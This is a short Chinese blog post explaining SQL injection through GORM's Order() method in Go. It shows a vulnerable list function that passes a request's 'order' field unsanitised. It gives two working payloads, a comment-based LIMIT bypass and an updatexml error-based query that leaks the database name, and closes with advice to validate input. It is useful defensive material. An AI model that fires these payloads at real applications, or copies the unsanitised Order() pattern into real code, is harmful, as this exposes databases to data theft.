gorm OrderBy注入

作者:
淡白
创建时间:
Mar 15, 2022, 3:40:41 PM
数据库 Go MySQL gorm sql 362

摘要:环境代码有时为了方便前端排序可能会将order作为参数传入。虽然gorm有防注入但还是有些方法是没有转义的。gorm不安全的方法func TestGetList(pageNum, pageSize int, order string) []modle.Test {if pageSize == 0 {

环境代码

有时为了方便前端排序可能会将order作为参数传入,这是不安全的。

虽然gorm有防注入但还是有些方法是没有转义的。
gorm不安全的方法

func TestGetList(pageNum, pageSize int, order string) []modle.Test {
	if pageSize == 0 {
		pageSize = 20
	}
	if pageNum == 0 {
		pageNum = 1
	}
	begin := db.GetDB()
	tests := make([]modle.Test, 0)
	err := begin.Model(&modle.Test{}).Order(order).Offset((pageNum - 1) * pageSize).Limit(pageSize).Find(&tests).Error
	if err != nil {
		log.Println(err.Error())
	}

	return tests
}

爆出符合条件的所有数据

请求:

{
    "order":"id;-- "
}

执行sql

SELECT * FROM `test` ORDER BY id;--  LIMIT 20

返回:符合条件的所有数据

updatexml

如果有报错回显的话还可能造成更多泄露
请求:

{
    "order":"updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)"
}

日志:

Error 1105: XPATH syntax error: '~test~'

建议

在使用前校验参数